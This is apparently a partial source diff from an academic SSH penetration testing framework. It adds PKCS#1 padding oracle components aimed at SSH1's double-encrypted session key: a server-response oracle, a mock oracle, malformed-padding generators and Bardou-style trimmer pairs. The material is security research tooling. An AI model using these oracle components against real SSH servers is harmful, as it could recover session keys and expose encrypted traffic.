+ ProtocolMessage> lastMessage = receiveOracleResultAction.getReceivedMessages().get(0);
+ LOGGER.debug("Received: {}", lastMessage.toString());
+
+ if (lastMessage instanceof DisconnectMessageSSH1) {
+ LOGGER.debug("Received Disconnected Message -> nothing was correct .... :(");
+ } else if (lastMessage instanceof FailureMessageSSH1) {
+ LOGGER.debug("Received Failure Message -> the first one was correct :|");
+ conform[0] = true;
+ runningInInner = true;
+ } else if (lastMessage instanceof SuccessMessageSSH1) {
+ LOGGER.info("Received Success Message -> both were correct :)");
+ conform[0] = true;
+ conform[1] = true;
+ runningInInner = true;
+ } else {
+ LOGGER.fatal("Something gone wrong with the preconfigured oracle....");
+ }
+
+ if (!trace.executedAsPlanned()) {
+ // Something did not execute as planned, the result may be either way
+ throw new WorkflowExecutionException("Workflow did not execute as planned!");
+ }
+
+ LOGGER.warn("Try #{} took {} ns to query oracle", numberOfQueries, (finish - start));
+ // clearConnections(state);
+
+ } catch (WorkflowExecutionException e) {
+ // If workflow execution failed, retry. This might be because a packet got lost
+ LOGGER.debug("Exception during workflow execution:{}", e.getLocalizedMessage(), e);
+ if (currentAttempt < maxAttempts) {
+ return checkPKCSConformity(msg, currentAttempt + 1);
+ }
+ }
+ return conform;
+ }
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/oracles/Pkcs1Oracle.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/oracles/Pkcs1Oracle.java
index 7133aa5f3..7cea9bce5 100644
--- a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/oracles/Pkcs1Oracle.java
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/oracles/Pkcs1Oracle.java
@@ -24,6 +24,10 @@ public abstract class Pkcs1Oracle {
@SuppressWarnings("FieldMayBeStatic")
protected final boolean plaintextOracle = false;
+ protected double averageTimeforRequest;
+ protected double averageTimeforRequestInnerOracle;
+ protected double averageTimeforRequestOuterOracle;
+
/**
* Gets the block size of the encryption algorithm.
*
@@ -59,6 +63,10 @@ public PublicKey getPublicKey() {
*/
public abstract boolean checkPKCSConformity(byte[] msg) throws OracleException;
+ public boolean[] checkDoublePKCSConformity(final byte[] msg) throws OracleException {
+ return new boolean[] {false, false};
+ }
+
/**
* Returns true if the oracle is a plaintext oracle (does not decrypt the data received)
*
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/oracles/Ssh1MockOracle.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/oracles/Ssh1MockOracle.java
new file mode 100644
index 000000000..39b8cd842
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/oracles/Ssh1MockOracle.java
@@ -0,0 +1,286 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1.oracles;
+
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.sshattacker.attacks.pkcs1.OracleException;
+import de.rub.nds.sshattacker.attacks.pkcs1.OracleType;
+import de.rub.nds.sshattacker.core.crypto.keys.CustomRsaPrivateKey;
+import de.rub.nds.sshattacker.core.crypto.keys.CustomRsaPublicKey;
+import de.rub.nds.tlsattacker.util.MathHelper;
+import java.math.BigInteger;
+import java.security.InvalidKeyException;
+import java.security.KeyFactory;
+import java.security.NoSuchAlgorithmException;
+import java.security.interfaces.RSAPrivateKey;
+import java.security.interfaces.RSAPublicKey;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.RSAPrivateKeySpec;
+import javax.crypto.BadPaddingException;
+import javax.crypto.Cipher;
+import javax.crypto.IllegalBlockSizeException;
+import javax.crypto.NoSuchPaddingException;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+/**
+ * A mock Manger oracle that used a private key to decrypt the messages and answers if the message
+ * is PKCS1 conform
+ */
+public class Ssh1MockOracle extends Pkcs1Oracle {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ private final RSAPrivateKey hostPrivateKey;
+ private final RSAPrivateKey serverPrivateKey;
+ private final RSAPublicKey hostPublicKey;
+ private final RSAPublicKey serverPublicKey;
+ private final Cipher cipher;
+ private boolean runningInInner = false;
+ OracleType oracleType;
+
+ public Ssh1MockOracle(
+ CustomRsaPublicKey hostPublicKey,
+ CustomRsaPrivateKey hostPrivateKey,
+ CustomRsaPublicKey serverPublicKey,
+ CustomRsaPrivateKey serverPrivateKey,
+ OracleType oracleType)
+ throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException {
+ this.hostPublicKey = hostPublicKey;
+ this.hostPrivateKey = hostPrivateKey;
+ this.serverPublicKey = serverPublicKey;
+ this.serverPrivateKey = serverPrivateKey;
+ this.blockSize = MathHelper.intCeilDiv(hostPublicKey.getModulus().bitLength(), Byte.SIZE);
+ this.oracleType = oracleType;
+
+ // Init cipher
+ this.cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
+ }
+
+ int counter = 0;
+ long timeElapsed = 0;
+ long timeElapsedforAverageCalculation = 0;
+
+ /**
+ * Check the given content for PKCS-Conformity
+ *
+ * @param msg Encrypted message to check for conformity
+ * @return true, if conforming, false if not.
+ * @throws OracleException
+ */
+ @Override
+ public boolean checkPKCSConformity(byte[] msg) throws OracleException {
+ return checkDoublePKCSConformity(msg)[0];
+ }
+
+ private boolean[] oracleStrong(byte[] msg) {
+
+ boolean[] oracleResult = new boolean[] {false, false};
+ counter++;
+ if (counter % 500 == 0) {
+ LOGGER.info(
+ String.format(
+ "[%d] Tries, took per average %f ms per oracle-request, in total %s ms have gone by",
+ counter, timeElapsedforAverageCalculation / (double) 500, timeElapsed),
+ counter,
+ timeElapsedforAverageCalculation / 500,
+ timeElapsed);
+ averageTimeforRequest = timeElapsedforAverageCalculation / (double) 500;
+ if (runningInInner) averageTimeforRequestInnerOracle = averageTimeforRequest;
+ else {
+ averageTimeforRequestOuterOracle = averageTimeforRequest;
+ }
+ timeElapsedforAverageCalculation = 0;
+ }
+ if (isPlaintextOracle()) {
+ return new boolean[] {true, true};
+ } else {
+ long start = System.nanoTime();
+ if (hostPublicKey.getModulus().bitLength() > serverPublicKey.getModulus().bitLength()) {
+
+ byte[] decrypted_byte = decryptMessage(msg, hostPrivateKey);
+
+ if (decrypted_byte[0] == 0x00 && decrypted_byte[1] == 0x02) {
+ oracleResult[0] = true;
+ runningInInner = true;
+ }
+
+ if (oracleResult[0]) {
+ byte[] plainInput = removePCKS1Padding(decrypted_byte);
+ byte[] decryptedInner = decryptMessage(plainInput, serverPrivateKey);
+ if (decryptedInner[0] == 0x00 && decryptedInner[1] == 0x02) {
+ oracleResult[1] = true;
+ }
+ }
+
+ } else {
+
+ byte[] decrypted_byte = decryptMessage(msg, serverPrivateKey);
+
+ if (decrypted_byte[0] == 0x00 && decrypted_byte[1] == 0x02) {
+ oracleResult[0] = true;
+ }
+
+ if (oracleResult[0]) {
+ byte[] plainInput = removePCKS1Padding(decrypted_byte);
+ byte[] decryptedInner = decryptMessage(plainInput, hostPrivateKey);
+ if (decryptedInner[0] == 0x00 && decryptedInner[1] == 0x02) {
+ oracleResult[1] = true;
+ }
+ }
+ }
+
+ long finish = System.nanoTime();
+ timeElapsed = timeElapsed + (finish - start);
+ timeElapsedforAverageCalculation = timeElapsedforAverageCalculation + (finish - start);
+
+ return oracleResult;
+ }
+ }
+
+ private boolean[] oracleWeak(byte[] msg) {
+ boolean[] oracleResult = new boolean[] {false, false};
+ counter++;
+
+ if (counter % 500 == 0) {
+ LOGGER.info(
+ String.format(
+ "[%d] Tries, took per average %f ns per oracle-request, in total %s ns have gone by ",
+ counter, timeElapsedforAverageCalculation / (double) 500, timeElapsed),
+ counter,
+ timeElapsedforAverageCalculation / 500,
+ timeElapsed);
+ averageTimeforRequest = timeElapsedforAverageCalculation / (double) 500;
+ if (runningInInner) averageTimeforRequestInnerOracle = averageTimeforRequest;
+ else {
+ averageTimeforRequestOuterOracle = averageTimeforRequest;
+ }
+ timeElapsedforAverageCalculation = 0;
+ }
+ long start = System.nanoTime();
+
+ if (isPlaintextOracle()) {
+ return new boolean[] {true, true};
+ } else {
+ try {
+ KeyFactory factory = KeyFactory.getInstance("RSA");
+ RSAPrivateKey hostPriv =
+ (RSAPrivateKey)
+ factory.generatePrivate(
+ new RSAPrivateKeySpec(
+ hostPrivateKey.getModulus(),
+ hostPrivateKey.getPrivateExponent()));
+ RSAPrivateKey serverPriv =
+ (RSAPrivateKey)
+ factory.generatePrivate(
+ new RSAPrivateKeySpec(
+ serverPrivateKey.getModulus(),
+ serverPrivateKey.getPrivateExponent()));
+
+ byte[] firstStep;
+
+ if (hostPublicKey.getModulus().bitLength()
+ > serverPublicKey.getModulus().bitLength()) {
+
+ this.cipher.init(Cipher.DECRYPT_MODE, hostPriv);
+ firstStep = cipher.doFinal(msg);
+
+ oracleResult[0] = true;
+ runningInInner = true;
+
+ this.cipher.init(Cipher.DECRYPT_MODE, serverPriv);
+ cipher.doFinal(firstStep);
+
+ oracleResult[1] = true;
+
+ } else {
+ this.cipher.init(Cipher.DECRYPT_MODE, serverPriv);
+ firstStep = cipher.doFinal(msg);
+
+ oracleResult[0] = true;
+ runningInInner = true;
+
+ this.cipher.init(Cipher.DECRYPT_MODE, hostPriv);
+ cipher.doFinal(firstStep);
+
+ oracleResult[1] = true;
+ }
+ long finish = System.nanoTime();
+ timeElapsed = timeElapsed + (finish - start);
+ timeElapsedforAverageCalculation =
+ timeElapsedforAverageCalculation + (finish - start);
+ return oracleResult;
+
+ } catch (IllegalBlockSizeException | BadPaddingException e) {
+ long finish = System.nanoTime();
+ timeElapsed = timeElapsed + (finish - start);
+ timeElapsedforAverageCalculation =
+ timeElapsedforAverageCalculation + (finish - start);
+
+ return oracleResult;
+ } catch (InvalidKeyException | NoSuchAlgorithmException | InvalidKeySpecException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+
+ /**
+ * Check the given content for PKCS-Conformity which double encryption.
+ *
+ * @param msg Encrypted message to check for conformity
+ * @return An Array for both encryption, the first entry for the outer-encryption, the second
+ * for the inner encryption
+ */
+ @Override
+ public boolean[] checkDoublePKCSConformity(byte[] msg) {
+ if (oracleType.equals(OracleType.WEAK)) {
+ return oracleWeak(msg);
+ } else if (oracleType.equals(OracleType.STRONG)) {
+ return oracleStrong(msg);
+ } else {
+ return new boolean[] {false, false};
+ }
+ }
+
+ private byte[] fillUpArray(int lenght, byte[] inputArray) {
+ byte[] tmp = new byte[inputArray.length];
+ System.arraycopy(inputArray, 0, tmp, 0, inputArray.length);
+ byte[] returnArray = new byte[lenght];
+ System.arraycopy(tmp, 0, returnArray, lenght - tmp.length, tmp.length);
+ return returnArray;
+ }
+
+ private byte[] decryptMessage(byte[] msg, RSAPrivateKey key) {
+ BigInteger msg_bigint = new BigInteger(1, msg);
+ BigInteger decrypted_msg = msg_bigint.modPow(key.getPrivateExponent(), key.getModulus());
+ byte[] decrypted_byte = ArrayConverter.bigIntegerToByteArray(decrypted_msg);
+ int k = key.getModulus().bitLength() / 8;
+
+ if (decrypted_byte.length < k) {
+ decrypted_byte = fillUpArray(k, decrypted_byte);
+ }
+ return decrypted_byte;
+ }
+
+ private byte[] removePCKS1Padding(byte[] input) {
+ byte[] tmp_copy = new byte[input.length - 2];
+ System.arraycopy(input, 2, tmp_copy, 0, tmp_copy.length);
+ int idx = 0;
+ for (int i = 0; i < tmp_copy.length; i++) {
+ if (tmp_copy[i] == 0x00) {
+ idx = i;
+ break;
+ }
+ }
+
+ idx = idx + 1; // +1 to skip 0 too
+ byte[] result = new byte[tmp_copy.length - idx];
+ System.arraycopy(tmp_copy, idx, result, 0, tmp_copy.length - idx);
+ return result;
+ }
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/ManipulationType.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/ManipulationType.java
new file mode 100644
index 000000000..ef70711d9
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/ManipulationType.java
@@ -0,0 +1,15 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2024 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1.util;
+
+public enum ManipulationType {
+ WRONG_HEADER,
+ WRONG_ZERO_BYTE,
+ NO_ZERO_BYTE,
+ ORIGINAL
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/MathHelper.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/MathHelper.java
new file mode 100644
index 000000000..bfd9130b5
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/MathHelper.java
@@ -0,0 +1,79 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2024 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1.util;
+
+import java.math.BigInteger;
+import java.util.ArrayList;
+
+/** The MathHelper class provides various mathematical helper methods. */
+public class MathHelper {
+
+ public MathHelper() {}
+
+ public static BigInteger floor(BigInteger a, BigInteger b) {
+ return a.divide(b);
+ }
+
+ /**
+ * Divides a BigInteger number 'a' by another BigInteger number 'b' and returns the ceiling of
+ * the result.
+ *
+ * @param a The BigInteger number to be divided
+ * @param b The BigInteger number that is the divisor
+ * @return The ceiling of the division result
+ */
+ public static BigInteger ceil(BigInteger a, BigInteger b) {
+ BigInteger c = a.mod(b);
+ if (c.compareTo(BigInteger.ZERO) > 0) {
+ return a.divide(b).add(BigInteger.ONE);
+ } else {
+ return a.divide(b);
+ }
+ }
+
+ /**
+ * Finds the Greatest Common Divisor (GCD) of two integers.
+ *
+ * @param num1 The first integer
+ * @param num2 The second integer
+ * @return The GCD of the two integers
+ */
+ public static int findGCD(int num1, int num2) {
+ if (num2 == 0) {
+ return num1;
+ }
+ return findGCD(num2, num1 % num2);
+ }
+
+ /**
+ * Finds the Least Common Multiple (LCM) of two integers.
+ *
+ * @param num1 The first integer
+ * @param num2 The second integer
+ * @return The LCM of the two integers
+ */
+ public static int findLCM(int num1, int num2) {
+ return (num1 * num2) / findGCD(num1, num2);
+ }
+
+ /**
+ * Finds the least common multiple (LCM) of a list of integers.
+ *
+ * @param numbers The list of integers
+ * @return The least common multiple (LCM) of the given integers
+ */
+ public static int findLeastCommonMultiple(ArrayList numbers) {
+ int lcm_of_array_elements = 1;
+ int n = numbers.size();
+
+ for (int i = 0; i < n; i++)
+ lcm_of_array_elements = findLCM(lcm_of_array_elements, numbers.get(i));
+
+ return lcm_of_array_elements;
+ }
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/PkcsConverter.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/PkcsConverter.java
new file mode 100644
index 000000000..88783e3f9
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/PkcsConverter.java
@@ -0,0 +1,52 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2024 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1.util;
+
+import java.util.Arrays;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public final class PkcsConverter {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ private PkcsConverter() {
+ super();
+ }
+
+ public static byte[] doPkcs1Encoding(byte[] data, int modulusLenght) {
+ int paddingLength = modulusLenght - 3 - data.length;
+ LOGGER.info(paddingLength);
+ byte[] padding = new byte[paddingLength];
+ Arrays.fill(padding, (byte) 0xFF);
+ byte[] encodedData = new byte[data.length + paddingLength + 2];
+ encodedData[0] = 0x02;
+ System.arraycopy(padding, 0, encodedData, 1, padding.length);
+ encodedData[paddingLength + 3] = 0x00;
+ System.arraycopy(data, 0, encodedData, paddingLength + 2, data.length);
+ return encodedData;
+ }
+
+ public static byte[] doPkcsDecoding(byte[] encodedPayload) {
+ encodedPayload = Arrays.copyOfRange(encodedPayload, 2, encodedPayload.length);
+
+ int idx = 0;
+ for (int i = 0; i < encodedPayload.length; i++) {
+ if (encodedPayload[i] == 0x00) {
+ idx = i;
+ break;
+ }
+ }
+
+ if (idx != 0) {
+ idx = idx + 1;
+ }
+
+ return Arrays.copyOfRange(encodedPayload, idx, encodedPayload.length);
+ }
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/PkcsManipulator.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/PkcsManipulator.java
new file mode 100644
index 000000000..b1e09f3a1
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/PkcsManipulator.java
@@ -0,0 +1,149 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2024 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1.util;
+
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.sshattacker.core.crypto.cipher.AbstractCipher;
+import de.rub.nds.sshattacker.core.crypto.cipher.CipherFactory;
+import de.rub.nds.sshattacker.core.crypto.keys.CustomRsaPublicKey;
+import de.rub.nds.sshattacker.core.exceptions.CryptoException;
+import java.util.Arrays;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public final class PkcsManipulator {
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ private PkcsManipulator() {
+ super();
+ }
+
+ /**
+ * Performs wrong padding of the session key.
+ *
+ * @param sessionID the session ID
+ * @param plainSessionKey the plain session key
+ * @return the padded and encrypted result
+ * @throws CryptoException if an error occurs during the process
+ */
+ public static byte[] wrongPaddingSessionKey(
+ byte[] sessionID,
+ byte[] plainSessionKey,
+ boolean inner,
+ boolean outer,
+ CustomRsaPublicKey hostPublicKey,
+ CustomRsaPublicKey serverPublicKey,
+ ManipulationType type)
+ throws CryptoException {
+
+ // XOR Session Key with Session ID
+ byte[] sessionKey = plainSessionKey.clone();
+ int i = 0;
+ for (byte sesseionByte : sessionID) {
+ sessionKey[i] = (byte) (sesseionByte ^ sessionKey[i++]);
+ }
+
+ // Choose correct encryptions for inner and outer
+ AbstractCipher innerCipher, outerCipher;
+
+ int innerBitlengh, outerBitlenght;
+
+ if (hostPublicKey.getModulus().bitLength() < serverPublicKey.getModulus().bitLength()) {
+ LOGGER.debug("Host is inner");
+ innerCipher = CipherFactory.getRsaTextbookCipher(hostPublicKey);
+ outerCipher = CipherFactory.getRsaTextbookCipher(serverPublicKey);
+ innerBitlengh = hostPublicKey.getModulus().bitLength();
+ outerBitlenght = serverPublicKey.getModulus().bitLength();
+ } else {
+ LOGGER.debug("Host is outer");
+ innerCipher = CipherFactory.getRsaTextbookCipher(serverPublicKey);
+ outerCipher = CipherFactory.getRsaTextbookCipher(hostPublicKey);
+ innerBitlengh = serverPublicKey.getModulus().bitLength();
+ outerBitlenght = hostPublicKey.getModulus().bitLength();
+ }
+
+ // Do padding and encrpytion according to modulus bit lenghtes
+ byte[] padded = new byte[0];
+ if (inner) {
+ // Do chosen manipulation to inner padding
+ switch (type) {
+ case WRONG_HEADER:
+ padded = doPkcs1EncodingWithWrongHeader(sessionKey, outerBitlenght / 8);
+ break;
+ case NO_ZERO_BYTE:
+ padded = doPkcs1EncodingWithOutZeroByte(sessionKey, outerBitlenght / 8);
+ break;
+ case WRONG_ZERO_BYTE:
+ padded = doPkcs1EncodingWithWrongZeroByte(sessionKey, outerBitlenght / 8, 20);
+ break;
+ }
+ } else {
+ padded = PkcsConverter.doPkcs1Encoding(sessionKey, innerBitlengh / 8);
+ }
+ LOGGER.info("Padded: {}", ArrayConverter.bytesToRawHexString(padded));
+ byte[] encrypted = innerCipher.encrypt(padded);
+
+ byte[] nextPadded = new byte[0];
+ if (outer) {
+ // Do chosen manipulation to outer padding
+ switch (type) {
+ case WRONG_HEADER:
+ nextPadded = doPkcs1EncodingWithWrongHeader(encrypted, outerBitlenght / 8);
+ break;
+ case NO_ZERO_BYTE:
+ nextPadded = doPkcs1EncodingWithOutZeroByte(encrypted, outerBitlenght / 8);
+ break;
+ case WRONG_ZERO_BYTE:
+ nextPadded =
+ doPkcs1EncodingWithWrongZeroByte(encrypted, outerBitlenght / 8, 20);
+ break;
+ }
+ } else {
+ nextPadded = PkcsConverter.doPkcs1Encoding(encrypted, outerBitlenght / 8);
+ }
+ LOGGER.info("Next Padded: {}", ArrayConverter.bytesToRawHexString(nextPadded));
+ byte[] nextEncrypted = outerCipher.encrypt(nextPadded);
+
+ // Return padded and encrypted result
+ return nextEncrypted;
+ }
+
+ public static byte[] doPkcs1EncodingWithWrongHeader(byte[] data, int modulusLenght) {
+ int paddingLength = modulusLenght - 3 - data.length;
+ byte[] padding = new byte[paddingLength];
+ Arrays.fill(padding, (byte) 0xFF);
+ byte[] encodedData = new byte[data.length + paddingLength + 3];
+ encodedData[0] = 0x00;
+ encodedData[1] = 0x49;
+ System.arraycopy(padding, 0, encodedData, 2, padding.length);
+ encodedData[paddingLength + 3] = 0x00;
+ System.arraycopy(data, 0, encodedData, paddingLength + 3, data.length);
+ return encodedData;
+ }
+
+ public static byte[] doPkcs1EncodingWithWrongZeroByte(
+ byte[] data, int modulusLenght, int position) {
+
+ byte[] noZeroByte = doPkcs1EncodingWithOutZeroByte(data, modulusLenght);
+ noZeroByte[position] = 0x00;
+
+ return noZeroByte;
+ }
+
+ public static byte[] doPkcs1EncodingWithOutZeroByte(byte[] data, int modulusLenght) {
+ int paddingLength = modulusLenght - 2 - data.length;
+ byte[] padding = new byte[paddingLength];
+ Arrays.fill(padding, (byte) 0xFF);
+ byte[] encodedData = new byte[data.length + paddingLength + 2];
+ encodedData[0] = 0x00;
+ encodedData[1] = 0x02;
+ System.arraycopy(padding, 0, encodedData, 2, padding.length);
+ System.arraycopy(data, 0, encodedData, paddingLength + 2, data.length);
+ return encodedData;
+ }
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/TrimmerGenerator.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/TrimmerGenerator.java
new file mode 100644
index 000000000..2d3b0f07a
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/util/TrimmerGenerator.java
@@ -0,0 +1,70 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2024 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1.util;
+
+import java.math.BigInteger;
+import java.util.ArrayList;
+
+public class TrimmerGenerator {
+
+ public TrimmerGenerator() {}
+
+ /**
+ * Retrieves u/t paires for improved bb attack as mentioned by Bardou 2012
+ *
+ * @param maxPairs the maximum number of pairs to retrieve
+ * @return an ArrayList of int arrays representing the pairs of integers
+ */
+ public ArrayList getPaires(int maxPairs) {
+ ArrayList paires = new ArrayList<>();
+ BigInteger u = BigInteger.valueOf(1);
+ BigInteger t = BigInteger.valueOf(2);
+
+ // as long as we are not above t < 2^12 and the max number of paires isn`t reached - go on
+ // searching
+ while ((t.compareTo(BigInteger.valueOf(2).pow(12)) < 0) && paires.size() < maxPairs) {
+ BigInteger[] result = ensureRange(u, t);
+ u = result[0];
+ t = result[1];
+
+ // while u and t are not coprime - add up u and test again
+ // every run test if we are in range, otherwise correct
+ while (u.gcd(t).compareTo(BigInteger.valueOf(1)) != 0) {
+ u = u.add(BigInteger.ONE);
+ BigInteger[] result2 = ensureRange(u, t);
+ u = result2[0];
+ t = result2[1];
+ }
+
+ // Pair found -> add to paires and add u one up
+ paires.add(new int[] {u.intValue(), t.intValue()});
+ u = u.add(BigInteger.ONE);
+ }
+
+ return paires;
+ }
+
+ private BigInteger[] ensureRange(BigInteger ucandidate, BigInteger tcandidate) {
+ float quotient = ucandidate.floatValue() / tcandidate.floatValue();
+
+ // if we get to big - choose next value for t, reset u to 1
+ if (quotient >= (3.0F / 2.0F)) {
+ ucandidate = BigInteger.valueOf(1);
+ tcandidate = tcandidate.add(BigInteger.ONE);
+ quotient = ucandidate.floatValue() / tcandidate.floatValue();
+ }
+ // test if wie are too small, add up u until we are above 2/3
+ while (quotient <= (2.0F / 3.0F)) {
+ ucandidate = ucandidate.add(BigInteger.ONE);
+ quotient = ucandidate.floatValue() / tcandidate.floatValue();
+ }
+
+ // return if the range is hold
+ return new BigInteger[] {ucandidate, tcandidate};
+ }
+}
diff --git a/SSH-Client/pom.xml b/SSH-Client/pom.xml
index 3debe0a28..5fd2c2efc 100755
--- a/SSH-Client/pom.xml
+++ b/SSH-Client/pom.xml
@@ -4,7 +4,7 @@
de.rub.nds.ssh.attackerssh-attacker
- 1.3.2-SNAPSHOT
+ 2.0.0-SNAPSHOTssh-client
diff --git a/SSH-Client/src/main/java/de/rub/nds/sshattacker/client/config/ClientCommandConfig.java b/SSH-Client/src/main/java/de/rub/nds/sshattacker/client/config/ClientCommandConfig.java
index e81d54c3e..670e9ea51 100755
--- a/SSH-Client/src/main/java/de/rub/nds/sshattacker/client/config/ClientCommandConfig.java
+++ b/SSH-Client/src/main/java/de/rub/nds/sshattacker/client/config/ClientCommandConfig.java
@@ -15,27 +15,32 @@
public class ClientCommandConfig extends SshDelegateConfig {
+ public static final String COMMAND = "client";
+
@ParametersDelegate private final ClientDelegate clientDelegate;
@ParametersDelegate private final ConfigOutputDelegate configOutputDelegate;
@ParametersDelegate private final TimeoutDelegate timeoutDelegate;
@ParametersDelegate private final WorkflowInputDelegate workflowInputDelegate;
@ParametersDelegate private final WorkflowOutputDelegate workflowOutputDelegate;
@ParametersDelegate private final WorkflowTypeDelegate workflowTypeDelegate;
+ @ParametersDelegate private final ProtocolVersionDelegate protocolVersionDelegate;
public ClientCommandConfig(GeneralDelegate delegate) {
super(delegate);
- clientDelegate = new ClientDelegate();
- configOutputDelegate = new ConfigOutputDelegate();
- timeoutDelegate = new TimeoutDelegate();
- workflowInputDelegate = new WorkflowInputDelegate();
- workflowOutputDelegate = new WorkflowOutputDelegate();
- workflowTypeDelegate = new WorkflowTypeDelegate();
+ this.clientDelegate = new ClientDelegate();
+ this.configOutputDelegate = new ConfigOutputDelegate();
+ this.timeoutDelegate = new TimeoutDelegate();
+ this.workflowInputDelegate = new WorkflowInputDelegate();
+ this.workflowOutputDelegate = new WorkflowOutputDelegate();
+ this.workflowTypeDelegate = new WorkflowTypeDelegate();
+ this.protocolVersionDelegate = new ProtocolVersionDelegate();
addDelegate(clientDelegate);
addDelegate(configOutputDelegate);
addDelegate(timeoutDelegate);
addDelegate(workflowInputDelegate);
addDelegate(workflowOutputDelegate);
addDelegate(workflowTypeDelegate);
+ addDelegate(protocolVersionDelegate);
}
@Override
diff --git a/SSH-Core-OQS/pom.xml b/SSH-Core-OQS/pom.xml
index 86ff4ba1b..1f8ec4ac8 100644
--- a/SSH-Core-OQS/pom.xml
+++ b/SSH-Core-OQS/pom.xml
@@ -4,7 +4,7 @@
de.rub.nds.ssh.attackerssh-attacker
- 1.3.2-SNAPSHOT
+ 2.0.0-SNAPSHOTssh-core-oqs
diff --git a/SSH-Core/pom.xml b/SSH-Core/pom.xml
index 8ea084616..f9e7d7f4e 100755
--- a/SSH-Core/pom.xml
+++ b/SSH-Core/pom.xml
@@ -4,7 +4,7 @@
de.rub.nds.ssh.attackerssh-attacker
- 1.3.2-SNAPSHOT
+ 2.0.0-SNAPSHOTssh-core
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/Config.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/Config.java
index 5475a0128..e1a2970be 100755
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/Config.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/Config.java
@@ -8,12 +8,14 @@
package de.rub.nds.sshattacker.core.config;
import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.modifiablevariable.util.IllegalStringAdapter;
import de.rub.nds.modifiablevariable.util.UnformattedByteArrayAdapter;
import de.rub.nds.sshattacker.core.connection.InboundConnection;
import de.rub.nds.sshattacker.core.connection.OutboundConnection;
import de.rub.nds.sshattacker.core.constants.*;
import de.rub.nds.sshattacker.core.crypto.ec.PointFormatter;
import de.rub.nds.sshattacker.core.crypto.keys.*;
+import de.rub.nds.sshattacker.core.layer.constant.LayerConfiguration;
import de.rub.nds.sshattacker.core.protocol.authentication.AuthenticationResponse;
import de.rub.nds.sshattacker.core.protocol.connection.ChannelDefaults;
import de.rub.nds.sshattacker.core.protocol.transport.message.extension.AbstractExtension;
